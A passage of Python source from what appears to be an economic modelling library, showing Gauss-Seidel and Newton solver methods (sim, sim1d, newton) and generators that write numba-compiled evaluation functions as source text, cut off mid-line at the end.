Path(f'{jitname}_jitsolver.py')\r\n if transpile_reset or not jitfile.is_file():\r\n solvetext0 = solveout()\r\n solvetext = '\\n'.join([l[4:] for l in solvetext0.split('\\n')[1:-2]])\r\n solvetext = solvetext.replace('cache=False','cache=True')\r\n\r\n with open(jitfile,'wt') as f:\r\n f.write(solvetext)\r\n if not silent: print(f'Now makelos imports a {solvename} jitfunction')\r\n m1 = importlib.import_module(f'{jitname}_jitsolver')\r\n\r\n\r\n pro_jit,core_jit,epi_jit = m1.prolog,m1.core,m1.epilog\r\n setattr(self, f'pro_{jitname}', pro_jit)\r\n setattr(self, f'core_{jitname}', core_jit)\r\n setattr(self, f'epi_{jitname}', epi_jit)\r\n return getattr(self, f'pro_{jitname}'),getattr(self, f'core_{jitname}'),getattr(self, f'epi_{jitname}')\r\n else:\r\n if transpile_reset or not hasattr(self,f'pro_{nojitname}'):\r\n if not silent: print(f'now makelos makes a {solvename} solvefunction')\r\n make_los_text = solveout()\r\n exec(make_los_text,globals()) # creates the los function\r\n pro,core,epi = make_los(self.funks,self.errfunk)\r\n setattr(self, f'pro_{nojitname}', pro)\r\n setattr(self, f'core_{nojitname}', core)\r\n setattr(self, f'epi_{nojitname}', epi)\r\n return getattr(self, f'pro_{nojitname}'),getattr(self, f'core_{nojitname}'),getattr(self, f'epi_{nojitname}')\r\n\r\n \r\n def sim(self, databank, start='', slut='', silent=1,samedata=0,alfa=1.0,stats=False,first_test=5,\r\n max_iterations =100,conv='*',absconv=0.01,relconv= DEFAULT_relconv,\r\n stringjit = False, transpile_reset=False,\r\n dumpvar='*',init=False,ldumpvar=False,dumpwith=15,dumpdecimal=5,chunk=30,ljit=False,timeon=False,\r\n fairopt={'fair_max_iterations ':1},**kwargs):\r\n '''Evaluates this model on a databank from start to slut (means end in Danish). \r\n \r\n First it finds the values in the Dataframe, then creates the evaluater function through the *outeval* function \r\n (:func:`modelclass.model.fouteval`) \r\n then it evaluates the function and returns the values to a the Dataframe in the databank.\r\n \r\n The text for the evaluater function is placed in the model property **make_los_text** \r\n where it can be inspected \r\n in case of problems. \r\n \r\n '''\r\n starttimesetup=time.time()\r\n fair_max_iterations = {**fairopt,**kwargs}.get('fair_max_iterations ',1)\r\n sol_periode = self.smpl(start,slut,databank)\r\n \r\n self.check_sim_smpl(databank)\r\n \r\n if not silent : print ('Will start solving: ' + self.name)\r\n \r\n if not self.eqcolumns(self.genrcolumns,databank.columns):\r\n databank=insertModelVar(databank,self) # fill all Missing value with 0.0 \r\n for i in [j for j in self.allvar.keys() if self.allvar[j]['matrix']]:\r\n databank.loc[:,i]=databank.loc[:,i].astype('O') # Make sure columns with matrixes are of this type \r\n newdata = True \r\n else:\r\n newdata = False\r\n \r\n self.pro2d,self.solve2d,self.epi2d = self.makelos(databank,solvename='sim',\r\n ljit=ljit,stringjit=stringjit,transpile_reset=transpile_reset)\r\n \r\n values = databank.values.copy() # \r\n self.genrcolumns = databank.columns.copy() \r\n self.genrindex = databank.index.copy() \r\n \r\n # convvar = [conv.upper()] if isinstance(conv,str) else [c.upper() for c in conv] if conv != [] else list(self.endogene) \r\n convvar = self.list_names(self.coreorder,conv) \r\n convplace=[databank.columns.get_loc(c) for c in convvar] # this is how convergence is measured \r\n convergence = True\r\n endoplace = [databank.columns.get_loc(c) for c in list(self.endogene)]\r\n \r\n if ldumpvar:\r\n self.dumplist = []\r\n self.dump = self.list_names(self.coreorder,dumpvar) \r\n dumpplac = [databank.columns.get_loc(v) for v in self.dump]\r\n \r\n ittotal = 0\r\n endtimesetup=time.time()\r\n\r\n starttime=time.time()\r\n for fairiteration in range(fair_max_iterations ):\r\n if fair_max_iterations >=2:\r\n print(f'Fair-Taylor iteration: {fairiteration}')\r\n for self.periode in sol_periode:\r\n row=databank.index.get_loc(self.periode)\r\n \r\n if ldumpvar:\r\n self.dumplist.append([fairiteration,self.periode,int(0)]+[values[row,p] \r\n for p in dumpplac])\r\n if init:\r\n for c in endoplace:\r\n values[row,c]=values[row-1,c]\r\n itbefore = values[row,convplace]\r\n self.pro2d(values, values, row , 1.0 )\r\n for iteration in range(max_iterations ):\r\n with self.timer(f'Evaluate {self.periode}/{iteration} ',timeon) as t: \r\n self.solve2d(values, values, row , alfa )\r\n ittotal += 1\r\n \r\n if ldumpvar:\r\n self.dumplist.append([fairiteration,self.periode, int(iteration+1)]+[values[row,p]\r\n for p in dumpplac])\r\n if iteration > first_test: \r\n itafter=values[row,convplace] \r\n # breakpoint()\r\n select = absconv <= np.abs(itbefore)\r\n convergence = (np.abs((itafter-itbefore)[select])/np.abs(itbefore[select]) <= relconv).all()\r\n if convergence:\r\n if not silent: print(f'{self.periode} Solved in {iteration} iterations')\r\n break\r\n itbefore = itafter\r\n else: \r\n print(f'{self.periode} not converged in {iteration} iterations')\r\n \r\n \r\n self.epi2d(values, values, row , 1.0 )\r\n\r\n \r\n if ldumpvar:\r\n self.dumpdf= pd.DataFrame(self.dumplist)\r\n del self.dumplist\r\n self.dumpdf.columns= ['fair','per','iteration']+self.dump\r\n if fair_max_iterations <=2 : self.dumpdf.drop('fair',axis=1,inplace=True)\r\n \r\n outdf = pd.DataFrame(values,index=databank.index,columns=databank.columns) \r\n \r\n if stats:\r\n numberfloats = self.calculate_freq[-1][1]*ittotal\r\n endtime = time.time()\r\n self.simtime = endtime-starttime\r\n self.setuptime = endtimesetup - starttimesetup\r\n print(f'Setup time (seconds) :{self.setuptime:>15,.2f}')\r\n print(f'Foating point operations :{self.calculate_freq[-1][1]:>15,}')\r\n print(f'Total iterations :{ittotal:>15,}')\r\n print(f'Total floating point operations :{numberfloats:>15,}')\r\n print(f'Simulation time (seconds) :{self.simtime:>15,.2f}')\r\n if self.simtime > 0.0:\r\n print(f'Floating point operations per second : {numberfloats/self.simtime:>15,.1f}')\r\n \r\n \r\n if not silent : print (self.name + ' solved ')\r\n return outdf \r\n \r\n\r\n\r\n \r\n @staticmethod\r\n def grouper(iterable, n, fillvalue=''):\r\n \"Collect data into fixed-length chunks or blocks\"\r\n # grouper('ABCDEFG', 3, 'x') --> ABC DEF Gxx\"\r\n args = [iter(iterable)] * n\r\n return zip_longest(*args, fillvalue=fillvalue)\r\n \r\n\r\n def outsolve2dcunk(self,databank, \r\n debug=1,chunk=None,\r\n ljit=False,type='gauss',cache=False):\r\n ''' takes a list of terms and translates to a evaluater function called los\r\n \r\n The model axcess the data through:Dataframe.value[rowindex+lag,coloumnindex] which is very efficient \r\n\r\n ''' \r\n short,long,longer = 4*' ',8*' ',12 *' '\r\n columnsnr=self.get_columnsnr(databank)\r\n if ljit:\r\n thisdebug = False\r\n else: \r\n thisdebug = debug \r\n #print(f'Generating source for {self.name} using ljit = {ljit} ')\r\n def make_gaussline2(vx,nodamp=False):\r\n ''' takes a list of terms and translates to a line in a gauss-seidel solver for \r\n simultanius models\r\n the variables \r\n \r\n New version to take hand of several lhs variables. Dampning is not allowed for\r\n this. But can easely be implemented by makeing a function to multiply tupels\r\n nodamp is for pre and epilog solutions, which should not be dampened. \r\n '''\r\n termer=self.allvar[vx]['terms']\r\n assigpos = self.allvar[vx]['assigpos'] \r\n if nodamp:\r\n ldamp=False\r\n else: \r\n if pt.kw_frml_name(self.allvar[vx]['frmlname'],'DAMP') or 'Z' in self.allvar[vx]['frmlname'] : # convention for damping equations \r\n assert assigpos == 1 , 'You can not dampen equations with several left hand sides:'+vx\r\n endovar=[t.op if t.op else ('values[row,'+str(columnsnr[t.var])+']') for j,t in enumerate(termer) if j <= assigpos-1 ]\r\n damp='(1-alfa)*('+''.join(endovar)+')+alfa*(' # to implemet dampning of solution\r\n ldamp = True\r\n else:\r\n ldamp = False\r\n out=[]\r\n \r\n for i,t in enumerate(termer[:-1]): # drop the trailing $\r\n if t.op:\r\n out.append(t.op.lower())\r\n if i == assigpos and ldamp:\r\n out.append(damp)\r\n if t.number:\r\n out.append(t.number)\r\n elif t.var:\r\n if i > assigpos:\r\n out.append('values[row'+t.lag+','+str(columnsnr[t.var])+']' ) \r\n else:\r\n out.append('values[row'+t.lag+','+str(columnsnr[t.var])+']' ) \r\n \r\n if ldamp: out.append(')') # the last ) in the dampening \r\n res = ''.join(out)\r\n return res+'\\n'\r\n \r\n def make_resline2(vx,nodamp):\r\n ''' takes a list of terms and translates to a line calculating linne\r\n '''\r\n termer=self.allvar[vx]['terms']\r\n assigpos = self.allvar[vx]['assigpos'] \r\n out=[]\r\n \r\n for i,t in enumerate(termer[:-1]): # drop the trailing $\r\n if t.op:\r\n out.append(t.op.lower())\r\n if t.number:\r\n out.append(t.number)\r\n elif t.var:\r\n lag=int(t.lag) if t.lag else 0\r\n if i < assigpos:\r\n out.append('outvalues[row'+t.lag+','+str(columnsnr[t.var])+']' ) \r\n else:\r\n out.append('values[row'+t.lag+','+str(columnsnr[t.var])+']' ) \r\n res = ''.join(out)\r\n return res+'\\n'\r\n\r\n\r\n def makeafunk(name,order,linemake,chunknumber,debug=False,overhead = 0 ,oldeqs=0,nodamp=False,ljit=False,totalchunk=1):\r\n ''' creates the source of an evaluation function \r\n keeps tap of how many equations and lines is in the functions abowe. \r\n This allows the errorfunction to retriewe the variable for which a math error is thrown \r\n \r\n ''' \r\n fib1=[]\r\n fib2=[]\r\n \r\n if ljit:\r\n # fib1.append((short+'print(\"'+f\"Compiling chunk {chunknumber+1}/{totalchunk} \"+'\",time.strftime(\"%H:%M:%S\")) \\n') if ljit else '')\r\n fib1.append(short+'@jit(\"(f8[:,:],f8[:,:],i8,f8)\",fastmath=True,cache=False)\\n')\r\n fib1.append(short + 'def '+name+'(values,outvalues,row,alfa=1.0):\\n')\r\n# fib1.append(long + 'outvalues = values \\n')\r\n if debug:\r\n fib1.append(long+'try :\\n')\r\n fib1.append(longer+'pass\\n')\r\n newoverhead = len(fib1) + overhead\r\n content = [longer + ('pass # '+v +'\\n' if self.allvar[v]['dropfrml']\r\n else linemake(v,nodamp)) \r\n for v in order if len(v)]\r\n if debug: \r\n fib2.append(long+ 'except :\\n')\r\n fib2.append(longer +f'errorfunk(values,sys.exc_info()[2].tb_lineno,overhead={newoverhead},overeq={oldeqs})'+'\\n')\r\n fib2.append(longer + 'raise\\n')\r\n fib2.append((long if debug else longer) + 'return \\n')\r\n neweq = oldeqs + len(content)\r\n return list(chain(fib1,content,fib2)),newoverhead+len(content)+len(fib2),neweq\r\n\r\n def makechunkedfunk(name,order,linemake,debug=False,overhead = 0 ,oldeqs = 0,nodamp=False,chunk=None,ljit=False):\r\n ''' makes the complete function to evaluate the model. \r\n keeps the tab on previous overhead lines and equations, to helt the error function '''\r\n\r\n newoverhead = overhead\r\n neweqs = oldeqs \r\n if chunk == None:\r\n orderlist = [order]\r\n else: \r\n orderlist = list(self.grouper(order,chunk))\r\n fib=[]\r\n fib2=[]\r\n if ljit:\r\n fib.append(short+f\"pbar = tqdm.tqdm(total={len(orderlist)},\"\r\n +f\"desc='Compile {name:6}'\"+\",unit='code chunk',bar_format ='{l_bar}{bar}| {n_fmt}/{total_fmt} {rate_fmt}{postfix}')\\n\")\r\n\r\n for i,o in enumerate(orderlist):\r\n lines,head,eques = makeafunk(name+str(i),o,linemake,i,debug=debug,overhead=newoverhead,nodamp=nodamp,\r\n ljit=ljit,oldeqs=neweqs,totalchunk=len(orderlist))\r\n fib.extend(lines)\r\n newoverhead = head \r\n neweqs = eques\r\n if ljit:\r\n fib.append(short + f\"pbar.update(1)\\n\")\r\n\r\n if ljit:\r\n # fib2.append((short+'print(\"'+f\"Compiling a mastersolver \"+'\",time.strftime(\"%H:%M:%S\")) \\n') if ljit else '')\r\n fib2.append(short+'@jit(\"(f8[:,:],f8[:,:],i8,f8)\",fastmath=True,cache=False)\\n')\r\n fib.append(short+f\"pbar.close()\\n\")\r\n \r\n fib2.append(short + 'def '+name+'(values,outvalues,row,alfa=1.0):\\n')\r\n# fib2.append(long + 'outvalues = values \\n')\r\n tt =[long+name+str(i)+'(values,outvalues,row,alfa=alfa)\\n' for (i,ch) in enumerate(orderlist)]\r\n fib2.extend(tt )\r\n fib2.append(long+'return \\n')\r\n\r\n return fib+fib2,newoverhead+len(fib2),neweqs\r\n \r\n \r\n \r\n linemake = make_resline2 if type == 'res' else make_gaussline2 \r\n fib2 =[]\r\n fib1 = ['def make_los(funks=[],errorfunk=None):\\n']\r\n fib1.append(short + 'import time' + '\\n')\r\n fib1.append(short + 'import tqdm' + '\\n')\r\n fib1.append(short + 'from numba import jit' + '\\n')\r\n fib1.append(short + 'from modeluserfunk import '+(', '.join(pt.userfunk)).lower()+'\\n')\r\n fib1.append(short + 'from modelBLfunk import '+(', '.join(pt.BLfunk)).lower()+'\\n')\r\n funktext = [short+f.__name__ + ' = funks['+str(i)+']\\n' for i,f in enumerate(self.funks)] \r\n fib1.extend(funktext)\r\n\r\n \r\n with self.timer('make model text',False):\r\n if self.use_preorder:\r\n procontent,prooverhead,proeqs = makechunkedfunk('prolog',self.preorder,linemake ,overhead=len(fib1),oldeqs=0,debug=thisdebug, nodamp=True,ljit=ljit,chunk=chunk)\r\n content,conoverhead,coneqs = makechunkedfunk('core',self.coreorder,linemake ,overhead=prooverhead,oldeqs=proeqs,debug=thisdebug,ljit=ljit,chunk=chunk)\r\n epilog ,epioverhead,epieqs = makechunkedfunk('epilog',self.epiorder,linemake ,overhead =conoverhead,oldeqs=coneqs,debug=thisdebug,nodamp=True,ljit=ljit,chunk=chunk)\r\n else:\r\n procontent,prooverhead,proeqs = makechunkedfunk('prolog',[],linemake ,overhead=len(fib1),oldeqs=0,ljit=ljit,debug=thisdebug,chunk=chunk)\r\n content,conoverhead,coneqs = makechunkedfunk('core',self.solveorder,linemake ,overhead=prooverhead,oldeqs=proeqs,ljit=ljit,debug=thisdebug,chunk=chunk)\r\n epilog ,epioverhead,epieqs = makechunkedfunk('epilog',[],linemake ,ljit=ljit,debug=thisdebug,chunk=chunk,overhead =conoverhead,oldeqs=coneqs)\r\n \r\n fib2.append(short + 'return prolog,los,epilog\\n')\r\n return ''.join(chain(fib1,procontent,content,epilog,fib2)) \r\n \r\n def sim1d(self, databank, start='', slut='', silent=1,samedata=0,alfa=1.0,stats=False,first_test=1,\r\n max_iterations =100,conv='*',absconv=1.0,relconv=DEFAULT_relconv,init=False,\r\n dumpvar='*',ldumpvar=False,dumpwith=15,dumpdecimal=5,chunk=30,ljit=False, stringjit = False, transpile_reset=False,\r\n fairopt={'fair_max_iterations ':1},timeon=0,**kwargs):\r\n '''Evaluates this model on a databank from start to slut (means end in Danish). \r\n \r\n First it finds the values in the Dataframe, then creates the evaluater function through the *outeval* function \r\n (:func:`modelclass.model.fouteval`) \r\n then it evaluates the function and returns the values to a the Dataframe in the databank.\r\n \r\n The text for the evaluater function is placed in the model property **make_los_text** \r\n where it can be inspected \r\n in case of problems. \r\n \r\n '''\r\n starttimesetup=time.time()\r\n fair_max_iterations = {**fairopt,**kwargs}.get('fair_max_iterations ',1)\r\n sol_periode = self.smpl(start,slut,databank)\r\n\r\n self.check_sim_smpl(databank)\r\n \r\n self.findpos()\r\n databank = insertModelVar(databank,self) # fill all Missing value with 0.0 \r\n \r\n with self.timer('create stuffer and gauss lines ',timeon) as t: \r\n if (not hasattr(self,'stuff3')) or (not self.eqcolumns(self.simcolumns, databank.columns)):\r\n self.stuff3,self.saveeval3 = self.createstuff3(databank)\r\n self.simcolumns=databank.columns.copy()\r\n\r\n with self.timer('Create solver function',timeon) as t: \r\n this_pro1d,this_solve1d,this_epi1d = self.makelos(None,solvename='sim1d',ljit=ljit,stringjit=stringjit,transpile_reset=transpile_reset)\r\n \r\n values=databank.values.copy()\r\n self.values_ = values # for use in errdump \r\n \r\n self.genrcolumns = databank.columns.copy() \r\n self.genrindex = databank.index.copy() \r\n \r\n convvar = self.list_names(self.coreorder,conv) \r\n# convplace=[databank.columns.get_loc(c) for c in convvar] # this is how convergence is measured \r\n convplace=[self.allvar[c]['startnr']-self.allvar[c]['maxlead'] for c in convvar]\r\n endoplace = [databank.columns.get_loc(c) for c in list(self.endogene)]\r\n\r\n convergence = True\r\n \r\n if ldumpvar:\r\n self.dumplist = []\r\n self.dump = self.list_names(self.coreorder,dumpvar) \r\n dumpplac = [self.allvar[v]['startnr'] -self.allvar[v]['maxlead'] for v in self.dump]\r\n\r\n \r\n ittotal = 0\r\n endtimesetup=time.time()\r\n\r\n starttime=time.time()\r\n for fairiteration in range(fair_max_iterations ):\r\n if fair_max_iterations >=2:\r\n if not silent:\r\n print(f'Fair-Taylor iteration: {fairiteration}')\r\n for self.periode in sol_periode:\r\n row=databank.index.get_loc(self.periode)\r\n self.row_ = row\r\n if init:\r\n for c in endoplace:\r\n values[row,c]=values[row-1,c]\r\n \r\n with self.timer(f'stuff {self.periode} ',timeon) as t: \r\n a=self.stuff3(values,row,ljit)\r\n# \r\n if ldumpvar:\r\n self.dumplist.append([fairiteration,self.periode,int(0)]+[a[p] \r\n for p in dumpplac])\r\n \r\n itbeforeold = [a[c] for c in convplace] \r\n itbefore = a[convplace] \r\n this_pro1d(a, 1.0 )\r\n for iteration in range(max_iterations ):\r\n with self.timer(f'Evaluate {self.periode}/{iteration} ',timeon) as t: \r\n this_solve1d(a, alfa )\r\n ittotal += 1\r\n \r\n if ldumpvar:\r\n self.dumplist.append([fairiteration,self.periode, int(iteration+1)]+[a[p]\r\n for p in dumpplac])\r\n if iteration > first_test: \r\n itafter=a[convplace] \r\n # breakpoint()\r\n select = absconv <= np.abs(itbefore)\r\n convergence = (np.abs((itafter-itbefore)[select])/np.abs(itbefore[select]) <= relconv).all()\r\n if convergence:\r\n if not silent: print(f'{self.periode} Solved in {iteration} iterations')\r\n break\r\n itbefore = itafter\r\n else: \r\n print(f'{self.periode} not converged in {iteration} iterations')\r\n this_epi1d(a , 1.0 )\r\n\r\n self.saveeval3(values,row,a)\r\n \r\n if ldumpvar:\r\n self.dumpdf= pd.DataFrame(self.dumplist)\r\n del self.dumplist\r\n self.dumpdf.columns= ['fair','per','iteration']+self.dump\r\n self.dumpdf = self.dumpdf.sort_values(['per','fair','iteration'])\r\n if fair_max_iterations <=2 : self.dumpdf.drop('fair',axis=1,inplace=True)\r\n \r\n outdf = pd.DataFrame(values,index=databank.index,columns=databank.columns) \r\n del self.values_ # not needed any more \r\n \r\n if stats:\r\n numberfloats = self.calculate_freq[-1][1]*ittotal\r\n endtime = time.time()\r\n self.simtime = endtime-starttime\r\n self.setuptime = endtimesetup - starttimesetup\r\n print(f'Setup time (seconds) :{self.setuptime:>15,.2f}')\r\n print(f'Foating point operations :{self.calculate_freq[-1][1]:>15,}')\r\n print(f'Total iterations :{ittotal:>15,}')\r\n print(f'Total floating point operations :{numberfloats:>15,}')\r\n print(f'Simulation time (seconds) :{self.simtime:>15,.2f}')\r\n if self.simtime > 0.0:\r\n print(f'Floating point operations per second : {numberfloats/self.simtime:>15,.1f}')\r\n \r\n \r\n if not silent : print (self.name + ' solved ')\r\n return outdf \r\n \r\n \r\n def outsolve1dcunk(self,debug=0,chunk=None\r\n ,ljit=False,cache='False'):\r\n ''' takes a list of terms and translates to a evaluater function called los\r\n \r\n The model axcess the data through:Dataframe.value[rowindex+lag,coloumnindex] which is very efficient \r\n\r\n ''' \r\n short,long,longer = 4*' ',8*' ',12 *' '\r\n self.findpos()\r\n if ljit:\r\n thisdebug = False\r\n else: \r\n thisdebug = debug \r\n \r\n \r\n \r\n\r\n def makeafunk(name,order,linemake,chunknumber,debug=False,overhead = 0 ,oldeqs=0,nodamp=False,ljit=False,totalchunk=1):\r\n ''' creates the source of an evaluation function \r\n keeps tap of how many equations and lines is in the functions abowe. \r\n This allows the errorfunction to retriewe the variable for which a math error is thrown \r\n \r\n ''' \r\n fib1=[]\r\n fib2=[]\r\n \r\n if ljit:\r\n fib1.append((short+'print(\"'+f\"Compiling chunk {chunknumber+1}/{totalchunk} \"+'\",time.strftime(\"%H:%M:%S\")) \\n') if ljit else '')\r\n fib1.append(short+f'@jit(\"(f8[:],f8)\",fastmath=True,cache={cache})\\n')\r\n fib1.append(short + 'def '+name+'(a,alfa=1.0):\\n')\r\n# fib1.append(long + 'outvalues = values \\n')\r\n if debug:\r\n fib1.append(long+'try :\\n')\r\n fib1.append(longer+'pass\\n')\r\n\r\n newoverhead = len(fib1) + overhead\r\n content = [longer + ('pass # '+v +'\\n' if self.allvar[v]['dropfrml']\r\n else linemake(v,nodamp)+'\\n') \r\n for v in order if len(v)]\r\n if debug: \r\n fib2.append(long+ 'except :\\n')\r\n fib2.append(longer +f'errorfunk(a,sys.exc_info()[2].tb_lineno,overhead={newoverhead},overeq={oldeqs})'+'\\n')\r\n fib2.append(longer + 'raise\\n')\r\n fib2.append((long if debug else longer) + 'return \\n')\r\n neweq = oldeqs + len(content)\r\n return list(chain(fib1,content,fib2)),newoverhead+len(content)+len(fib2),neweq\r\n\r\n def makechunkedfunk(name,order,linemake,debug=False,overhead = 0 ,oldeqs = 0,nodamp=False,chunk=None,ljit=False):\r\n ''' makes the complete function to evaluate the model. \r\n keeps the tab on previous overhead lines and equations, to helt the error function '''\r\n\r\n newoverhead = overhead\r\n neweqs = oldeqs \r\n if chunk == None:\r\n orderlist = [order]\r\n else: \r\n orderlist = list(self.grouper(order,chunk))\r\n fib=[]\r\n fib2=[]\r\n for i,o in enumerate(orderlist):\r\n lines,head,eques = makeafunk(name+str(i),o,linemake,i,debug=debug,overhead=newoverhead,nodamp=nodamp,\r\n ljit=ljit,oldeqs=neweqs,totalchunk=len(orderlist))\r\n fib.extend(lines)\r\n newoverhead = head \r\n neweqs = eques\r\n if ljit:\r\n fib2.append((short+'print(\"'+f\"Compiling a mastersolver \"+'\",time.strftime(\"%H:%M:%S\")) \\n') if ljit else '')\r\n fib2.append(short+f'@jit(\"(f8[:],f8)\",fastmath=True,cache={cache})\\n')\r\n \r\n fib2.append(short + 'def '+name+'(a,alfa=1.0):\\n')\r\n# fib2.append(long + 'outvalues = values \\n')\r\n tt =[long+name+str(i)+'(a,alfa=alfa)\\n' for (i,ch) in enumerate(orderlist)]\r\n fib2.extend(tt )\r\n fib2.append(long+'return \\n')\r\n\r\n return fib+fib2,newoverhead+len(fib2),neweqs\r\n \r\n \r\n \r\n linemake = self.make_gaussline \r\n fib2 =[]\r\n fib1 = ['def make_los(funks=[],errorfunk=None):\\n']\r\n fib1.append(short + 'import time' + '\\n')\r\n fib1.append(short + 'from numba import jit' + '\\n')\r\n \r\n fib1.append(short + 'from modeluserfunk import '+(', '.join(pt.userfunk)).lower()+'\\n')\r\n fib1.append(short + 'from modelBLfunk import '+(', '.join(pt.BLfunk)).lower()+'\\n')\r\n funktext = [short+f.__name__ + ' = funks['+str(i)+']\\n' for i,f in enumerate(self.funks)] \r\n fib1.extend(funktext)\r\n \r\n \r\n \r\n if self.use_preorder:\r\n procontent,prooverhead,proeqs = makechunkedfunk('prolog',self.preorder,linemake , overhead=len(fib1), oldeqs=0, ljit=ljit,debug=thisdebug, nodamp=True,chunk=chunk)\r\n content,conoverhead,coneqs = makechunkedfunk('core', self.coreorder,linemake ,overhead=prooverhead, oldeqs=proeqs,ljit=ljit,debug=thisdebug,chunk=chunk)\r\n epilog ,epioverhead,epieqs = makechunkedfunk('epilog',self.epiorder, linemake ,overhead =conoverhead,oldeqs=coneqs,ljit=ljit,debug=thisdebug,nodamp=True,chunk=chunk)\r\n else:\r\n procontent,prooverhead,proeqs = makechunkedfunk('prolog',[], linemake ,overhead=len(fib1), oldeqs=0, ljit=ljit,debug=thisdebug,chunk=chunk)\r\n content,conoverhead,coneqs = makechunkedfunk('core', self.solveorder,linemake ,overhead=prooverhead,oldeqs=proeqs, ljit=ljit,debug=thisdebug,chunk=chunk)\r\n epilog ,epioverhead,epieqs = makechunkedfunk('epilog',[] ,linemake ,overhead =conoverhead,oldeqs=coneqs,ljit=ljit,debug=thisdebug,chunk=chunk)\r\n \r\n fib2.append(short + 'return prolog,los,epilog\\n')\r\n return ''.join(chain(fib1,procontent,content,epilog,fib2)) \r\n \r\n \r\n \r\n\r\n def newton(self, databank, start='', slut='', silent=1,samedata=0,alfa=1.0,stats=False,first_test=1,newton_absconv=0.001,\r\n max_iterations =20,conv='*',absconv=1.0,relconv=DEFAULT_relconv, nonlin=False ,timeit = False,reset=1,\r\n dumpvar='*',ldumpvar=False,dumpwith=15,dumpdecimal=5,chunk=30,ljit=False, stringjit = False, transpile_reset=False, lnjit=False,init=False,\r\n newtonalfa = 1.0 , newtonnodamp=0,forcenum=True,\r\n fairopt={'fair_max_iterations ':1},**kwargs):\r\n '''Evaluates this model on a databank from start to slut (means end in Danish). \r\n \r\n First it finds the values in the Dataframe, then creates the evaluater function through the *outeval* function \r\n (:func:`modelclass.model.fouteval`) \r\n then it evaluates the function and returns the values to a the Dataframe in the databank.\r\n \r\n The text for the evaluater function is placed in the model property **make_los_text** \r\n where it can be inspected \r\n in case of problems. \r\n \r\n '''\r\n # print('new nwwton')\r\n starttimesetup=time.time()\r\n fair_max_iterations = {**fairopt,**kwargs}.get('fair_max_iterations ',1)\r\n sol_periode = self.smpl(start,slut,databank)\r\n self.check_sim_smpl(databank)\r\n \r\n \r\n if not self.eqcolumns(self.genrcolumns,databank.columns):\r\n databank=insertModelVar(databank,self) # fill all Missing value with 0.0 \r\n for i in [j for j in self.allvar.keys() if self.allvar[j]['matrix']]:\r\n databank.loc[:,i]=databank.loc[:,i].astype('O') # Make sure columns with matrixes are of this type \r\n newdata = True \r\n else:\r\n newdata = False\r\n \r\n self.pronew2d,self.solvenew2d,self.epinew2d= self.makelos(databank,solvename='newton',\r\n ljit=ljit,stringjit=stringjit,transpile_reset=transpile_reset)\r\n \r\n values = databank.values.copy()\r\n outvalues = np.empty_like(values)# \r\n if not hasattr(self,'newton_1per_diff'):\r\n endovar = self.coreorder if self.use_preorder else self.solveorder\r\n self.newton_1per_diff = newton_diff(self,forcenum=forcenum,df=databank,\r\n endovar = endovar, ljit=lnjit,nchunk=chunk,onlyendocur=True,silent=silent )\r\n if not hasattr(self,'newton_1per_solver') or reset:\r\n # breakpoint()\r\n self.newton_1per_solver = self.newton_1per_diff.get_solve1per(df=databank,periode=[self.current_per[0]])[self.current_per[0]]\r\n\r\n newton_col = [databank.columns.get_loc(c) for c in self.newton_1per_diff.endovar]\r\n \r\n \r\n self.genrcolumns = databank.columns.copy() \r\n self.genrindex = databank.index.copy() \r\n \r\n convvar = self.list_names(self.coreorder,conv) \r\n convplace=[databank.columns.get_loc(c) for c in convvar] # this is how convergence is measured \r\n endoplace = [databank.columns.get_loc(c) for c in list(self.endogene)]\r\n\r\n convergence = True\r\n \r\n if ldumpvar:\r\n self.dumplist = []\r\n self.dump = self.list_names(self.coreorder,dumpvar) \r\n dumpplac = [databank.columns.get_loc(v) for v in self.dump]\r\n \r\n ittotal = 0\r\n endtimesetup=time.time()\r\n \r\n starttime=time.time()\r\n for fairiteration in range(fair_max_iterations ):\r\n if fair_max_iterations >=2:\r\n print(f'Fair-Taylor iteration: {fairiteration}')\r\n for self.periode in sol_periode:\r\n row=databank.index.get_loc(self.periode)\r\n if init:\r\n for c in endoplace:\r\n values[row,c]=values[row-1,c]\r\n \r\n if ldumpvar:\r\n self.dumplist.append([fairiteration,self.periode,int(0)]+[values[row,p] \r\n for p in dumpplac])\r\n \r\n itbefore = [values[row,c] for c in convplace] \r\n self.pronew2d(values, values, row , alfa )\r\n for iteration in range(max_iterations ):\r\n with self.timer(f'sim per:{self.periode} it:{iteration}',timeit) as xxtt:\r\n before = values[row,newton_col]\r\n self.solvenew2d(values, outvalues, row , alfa )\r\n now = outvalues[row,newton_col]\r\n distance = now-before\r\n newton_conv =np.abs(distance).sum()\r\n if not silent:print(f'Iteration {iteration} Sum of distances {newton_conv:>{15},.{6}f}')\r\n if newton_conv <= newton_absconv :\r\n break \r\n # breakpoint()\r\n if iteration != 0 and nonlin and not (iteration % nonlin):\r\n with self.timer('Updating solver',timeit) as t3:\r\n if not silent :print(f'Updating solver, iteration {iteration}')\r\n df_now = pd.DataFrame(values,index=databank.index,columns=databank.columns)\r\n self.newton_1per_solver = self.newton_1per_diff.get_solve1per(df=df_now,periode=[self.periode])[self.periode]\r\n \r\n with self.timer('Update solution',timeit):\r\n # update = self.solveinv(distance)\r\n update = self.newton_1per_solver(distance) \r\n damp = newtonalfa if iteration <= newtonnodamp else 1.0 \r\n\r\n values[row,newton_col] = before - update * damp\r\n \r\n ittotal += 1\r\n \r\n if ldumpvar:\r\n self.dumplist.append([fairiteration,self.periode, int(iteration+1)]+[values[row,p]\r\n for p in dumpplac])\r\n # if iteration > first_test: \r\n # itafter=[values[row,c] for c in convplace] \r\n # convergence = True\r\n # for after,before in zip(itafter,itbefore):\r\n ## print(before,after)\r\n # if before > absconv and abs(after-before)/abs(before) > relconv:\r\n # convergence = False\r\n # break \r\n # if convergence:\r\n # break\r\n # else:\r\n # itbefore=itafter\r\n self.epinew2d(values, values, row , alfa )\r\n \r\n if not silent:\r\n if not convergence : \r\n print(f'{self.periode} not converged in {iteration} iterations')\r\n else:\r\n print(f'{self.periode} Solved in {iteration} iterations')\r\n \r\n if ldumpvar:\r\n self.dumpdf= pd.DataFrame(self.dumplist)\r\n del self.dumplist\r\n self.dumpdf.columns= ['fair','per','iteration']+self.dump\r\n if fair_max_iterations <=2 : self.dumpdf.drop('fair',axis=1,inplace=True)\r\n \r\n outdf = pd.DataFrame(values,index=databank.index,columns=databank.columns) \r\n \r\n if stats:\r\n numberfloats = self.calculate_freq[-1][1]*ittotal\r\n endtime = time.time()\r\n self.simtime = endtime-starttime\r\n self.setuptime = endtimesetup - starttimesetup\r\n print(f'Setup time (seconds) :{self.setuptime:>15,.2f}')\r\n print(f'Foating point operations 